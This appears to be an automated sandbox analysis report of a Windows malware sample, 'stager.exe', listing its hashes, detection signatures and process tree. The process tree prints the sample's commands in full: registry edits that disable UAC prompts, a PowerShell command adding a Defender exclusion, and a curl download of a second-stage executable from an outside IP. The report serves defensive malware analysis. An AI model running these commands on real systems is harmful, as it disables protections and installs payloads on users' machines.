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Analysis

  • max time kernel
    118s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20230712-en
  • resource tags

    arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
  • submitted
    19/07/2023, 13:01

General

  • Target

    stager.exe

  • Size

    1.9MB

  • MD5

    4ed2a8948a165b72025d5868a31a34c8

  • SHA1

    b25b9db66eefe9418bb398a8a5ffe4aebb7d4ff8

  • SHA256

    79d1a9ec049f598528e505aa71fdd68f01f7abcd8cb29c1e54ba018d239ae282

  • SHA512

    64411bb2f3510f26114d809409dd9af29238fb1c43ee005c08c3b00826be0bce0230ad26afc786961b659d8cc470f59ed12108b4a11056b702a516330bbec380

  • SSDEEP

    24576:GXjaqCL0DG3EZJOHVXGGUIHjNGxmKg7xf:GXjaADG3EWVd

Score
10/10

Malware Config

Signatures

  • UAC bypass 3 TTPs 2 IoCs
  • Drops startup file 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\stager.exe
    "C:\Users\Admin\AppData\Local\Temp\stager.exe"
    1⤵
    • Drops startup file
    • Suspicious use of WriteProcessMemory
    PID:2572
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2628
      • C:\Windows\system32\reg.exe
        reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
        3⤵
        • UAC bypass
        PID:2560
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorUser /t REG_DWORD /d 0 /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2556
      • C:\Windows\system32\reg.exe
        reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorUser /t REG_DWORD /d 0 /f
        3⤵
        • UAC bypass
        PID:1640
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c mkdir "C:\MicS"
      2⤵
        PID:2680
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath "C:\MicS"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1284
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath "C:\MicS"
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2196
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c curl -o "C:\MicS\Connector.exe" "http://13.50.250.113/Connector.exe"
        2⤵
          PID:2924

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • memory/2196-59-0x000000001B1D0000-0x000000001B4B2000-memory.dmp

        Filesize

        2.9MB

      • memory/2196-60-0x000007FEF5750000-0x000007FEF60ED000-memory.dmp

        Filesize

        9.6MB

      • memory/2196-62-0x0000000002830000-0x00000000028B0000-memory.dmp

        Filesize

        512KB

      • memory/2196-61-0x0000000002320000-0x0000000002328000-memory.dmp

        Filesize

        32KB

      • memory/2196-63-0x0000000002830000-0x00000000028B0000-memory.dmp

        Filesize

        512KB

      • memory/2196-64-0x000007FEF5750000-0x000007FEF60ED000-memory.dmp

        Filesize

        9.6MB

      • memory/2196-65-0x0000000002830000-0x00000000028B0000-memory.dmp

        Filesize

        512KB

      • memory/2196-66-0x0000000002830000-0x00000000028B0000-memory.dmp

        Filesize

        512KB

      • memory/2196-67-0x000007FEF5750000-0x000007FEF60ED000-memory.dmp

        Filesize

        9.6MB

      • memory/2572-54-0x000000013FE90000-0x0000000140121000-memory.dmp

        Filesize

        2.6MB

      • memory/2572-69-0x000000013FE90000-0x0000000140121000-memory.dmp

        Filesize

        2.6MB